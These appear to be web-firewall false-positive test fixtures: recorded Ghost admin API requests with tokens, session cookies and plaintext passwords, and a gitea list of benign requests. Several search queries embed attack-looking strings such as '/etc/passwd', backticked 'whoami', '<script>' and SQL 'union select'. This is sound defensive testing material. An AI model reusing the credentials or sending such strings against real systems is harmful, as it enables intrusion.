{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apython3%2bstatus%3apublished&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=title%3a~%27ls+-la%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tags.name%3a~%27.htaccess%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=python3&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=powershell&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=carol&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?filter=label%3apowershell-users&include=labels", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/posts/?source=html", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 1702"], "body": "{\"posts\": [{\"title\": \"Automating .htaccess checks with python3\", \"html\": \"<h2>Getting started</h2>\\n<p>Run <code>ls -la</code> in your web root, then open <a href=\\\"https://example.com/docs/htaccess\\\">the .htaccess guide</a>. On Windows, use <strong>powershell</strong> instead; it's the same idea.</p>\\n<h3>A small script</h3>\\n<pre><code class=\\\"language-python\\\">#!/usr/bin/env python3\\nimport os, subprocess\\nfor name in sorted(os.listdir(\\\".\\\")):\\n print(name)\\nsubprocess.run([\\\"ls\\\", \\\"-la\\\", \\\"/var/www/html\\\"], check=True)\\n</code></pre>\\n<pre><code class=\\\"language-bash\\\">cat /etc/hosts | grep example\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\nmysql -e \\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\"\\n</code></pre>\\n<pre><code class=\\\"language-javascript\\\">document.querySelectorAll('a').forEach((a) =&gt; console.log(a.href));\\nwindow.onload = () =&gt; alert('ready');\\n</code></pre>\\n<blockquote>\\\"Keep your .htaccess small,\\\" said one reader -- and python3 agrees.</blockquote>\\n<ul><li>python3 -m venv .venv &amp;&amp; source .venv/bin/activate</li><li>powershell -ExecutionPolicy Bypass -File build.ps1</li><li>Edit /etc/nginx/sites-available/default, then reload</li></ul>\\n<ol><li>Back up wp-config.php and .env</li><li>Run <code>rm -rf ./cache/*</code></li></ol>\\n<p>Questions? Email <a href=\\\"mailto:help@example.com\\\">help@example.com</a> or see <a href=\\\"https://example.com/search?q=htaccess&amp;lang=en\\\">the search page</a>.</p>\", \"status\": \"published\", \"tags\": [\"python3\", \"PowerShell\"], \"custom_excerpt\": \"Run ls -la from python3 or powershell.\", \"feature_image\": \"http://example.com/content/images/2026/11/photo.png\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 175"], "body": "{\"members\": [{\"email\": \"erin.htaccess@example.com\", \"name\": \"Erin python3 Example\", \"note\": \"Imported from powershell export\", \"labels\": [\"powershell users\", \"ls -la fans\"]}]}"}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Length: 569", "Content-Type: multipart/form-data; boundary=------------------------gySlLRiEsdL70cXx8zmsOZ"], "body": "--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\nphoto.png\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ--\r\n"}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af46132d281b00001a599c1\",\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Daqz-KE-bpKQ&type=embed", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fdocs%2Fpython3%2Fls-la-and-htaccess%2F&type=bookmark", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fblog%2Fpowershell-tips%3Fref%3Dghost&type=mention", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/password/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"password\":[{\"user_id\":\"6af4570fd281b00001a59891\",\"oldPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"newPassword\":\"Zt6-Hm3q-Bv9k-Jc4w\",\"ne2Password\":\"Zt6-Hm3q-Bv9k-Jc4w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
-404
View File
@@ -1,404 +0,0 @@
# Ordinary gitea 1.27 requests that the Core Rule Set must let through at the
# defaults. Each line is a path and query, and may end with one header after a
# space. The tests of internal/coreruleset inspect each as a GET. The Core Rule Set reads
# the query and the headers the same way for any method.
# Searches with ordinary words and symbols.
/owner/repo/search?q=package.json
/owner/repo/search?q=.gitignore
/owner/repo/search?q=docker-compose.yml
/owner/repo/search?q=python3
/owner/repo/search?q=ssh%20key
/owner/repo/search?q=feat%2Fdocker-support
/owner/repo/search?q=ls%20-la
/owner/repo/search?q=sed%20-i
/owner/repo/search?q=%2Fbin%2Fsh
/owner/repo/search?q=%60make%20check%60
/owner/repo/search?q=%60whoami%60
/owner/repo/search?q=fetch%28
/owner/repo/search?q=%24%7BVAR%7D
/owner/repo/search?q=%24%28pwd%29
/owner/repo/search?q=process.env
/owner/repo/search?q=%3Cimg%20src%3D
/owner/repo/search?q=%3Cscript%3E
/owner/repo/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/search?q=union%20select
/owner/repo/search?q=http%3A%2F%2F127.0.0.1%3A8080
/owner/repo/search?q=..%2F
/owner/repo/search?q=%2Fetc%2Fpasswd
/owner/repo/search?q=eval%28
/owner/repo/search?q=chmod%20%2Bx
/owner/repo/search?q=echo%20%24PATH
/owner/repo/search?q=java.lang.Runtime
/owner/repo/search?q=document.cookie
/owner/repo/search?q=alert%281%29
/owner/repo/search?q=__proto__
/owner/repo/search?q=C%3A%5CWindows%5CSystem32
/owner/repo/search?q=Invoke-WebRequest
/owner/repo/search?q=if%20%28a%20%3D%3D%20b%29%20%7B
/owner/repo/search?q=sudo%20apt%20install
/owner/repo/search?q=~%2F.ssh%2Fconfig
/owner/repo/search?q=.htaccess
/owner/repo/search?q=%24_GET%5B
/owner/repo/search?q=%24_POST
/owner/repo/search?q=%24_SERVER%5B%27REQUEST_URI%27%5D
/owner/repo/search?q=%3C%3Fphp%20echo
/owner/repo/search?q=information_schema
/owner/repo/search?q=LIKE%20%27%25foo%25%27
/owner/repo/search?q=onClick%3D%7B
/explore/code?q=SELECT%20%2A%20FROM%20users%20WHERE
/explore/code?q=%3Cimg%20src%3D
/owner/-/code?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/-/code?q=%3Cimg%20src%3D
/owner/repo/issues?type=all&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/issues?type=all&state=open&q=%3Cimg%20src%3D
/owner/repo/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/issues/search?q=%3Cimg%20src%3D
/owner/repo/pulls?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/pulls?q=%3Cimg%20src%3D
/issues?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
/issues?type=your_repositories&q=%3Cimg%20src%3D
/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/issues/search?q=%3Cimg%20src%3D
/pulls?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
/pulls?type=your_repositories&q=%3Cimg%20src%3D
/owner/repo/commits/branch/main/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/commits/branch/main/search?q=%3Cimg%20src%3D
/api/v1/repos/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/issues/search?q=%3Cimg%20src%3D
/api/v1/repos/owner/repo/issues?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/owner/repo/issues?q=%3Cimg%20src%3D
# Searches for the names of repositories, users, branches, tags and packages.
/explore/repos?q=python3-app
/explore/repos?q=.profile
/explore/repos?q=powershell-scripts
/api/v1/repos/search?q=docker-build
/user/search_candidates?q=docker-ci
/owner/repo/branches?q=feat%2Fdocker-support
/owner/repo/tags?q=docker-v1.0
/owner/-/packages?q=python3-requests
/owner/-/packages?q=org.apache.commons.logging
/repo/search?q=python3-app
/repo/search?q=docker-build
/repo/search?q=powershell-scripts
/repo/search?q=.profile
/owner?tab=repositories&q=python3-app
/org?q=python3-app
/owner/repo/issues/posters?q=docker-ci
/owner/repo/pulls/posters?q=docker-ci
/explore/users?q=docker-ci
/explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci
# Searches of the repositories on a user's and an organisation's page, recorded
# from gitea 1.27.3.
/alice?tab=repositories&q=ls+-la&sort=recentupdate
/alice?tab=repositories&q=python3&sort=recentupdate
/alice?tab=repositories&q=powershell&sort=recentupdate
/alice?tab=repositories&q=.htaccess&sort=recentupdate
/acme?q=ls+-la&sort=recentupdate
/acme?q=python3&sort=recentupdate
/acme?q=powershell&sort=recentupdate
/acme?q=.htaccess&sort=recentupdate
# Pages, raw files and edit pages of files, and the API's call for their
# contents.
/owner/repo/src/branch/main/package.json
/owner/repo/raw/branch/main/package.json
/owner/repo/_edit/main/package.json
/api/v1/repos/owner/repo/contents/package.json
/owner/repo/src/branch/main/.gitignore
/owner/repo/raw/branch/main/.gitignore
/owner/repo/_edit/main/.gitignore
/api/v1/repos/owner/repo/contents/.gitignore
/owner/repo/src/branch/main/docker-compose.yml
/owner/repo/raw/branch/main/docker-compose.yml
/owner/repo/_edit/main/docker-compose.yml
/api/v1/repos/owner/repo/contents/docker-compose.yml
/owner/repo/src/branch/main/Dockerfile
/owner/repo/raw/branch/main/Dockerfile
/owner/repo/_edit/main/Dockerfile
/api/v1/repos/owner/repo/contents/Dockerfile
/owner/repo/src/branch/main/.htaccess
/owner/repo/raw/branch/main/.htaccess
/owner/repo/_edit/main/.htaccess
/api/v1/repos/owner/repo/contents/.htaccess
/owner/repo/src/branch/main/rootfs/etc/passwd
/owner/repo/raw/branch/main/rootfs/etc/passwd
/owner/repo/_edit/main/rootfs/etc/passwd
/api/v1/repos/owner/repo/contents/rootfs/etc/passwd
/owner/repo/src/branch/main/bin/docker-entrypoint
/owner/repo/raw/branch/main/bin/docker-entrypoint
/owner/repo/_edit/main/bin/docker-entrypoint
/api/v1/repos/owner/repo/contents/bin/docker-entrypoint
/owner/repo/src/branch/main/scripts/python3-setup.sh
/owner/repo/raw/branch/main/scripts/python3-setup.sh
/owner/repo/_edit/main/scripts/python3-setup.sh
/api/v1/repos/owner/repo/contents/scripts/python3-setup.sh
/owner/repo/src/branch/main/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/raw/branch/main/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/_edit/main/src/java.base/share/classes/java/lang/Runtime.java
/api/v1/repos/owner/repo/contents/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/src/branch/main/java.lang.String.md
/owner/repo/raw/branch/main/java.lang.String.md
/owner/repo/_edit/main/java.lang.String.md
/api/v1/repos/owner/repo/contents/java.lang.String.md
/owner/repo/src/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
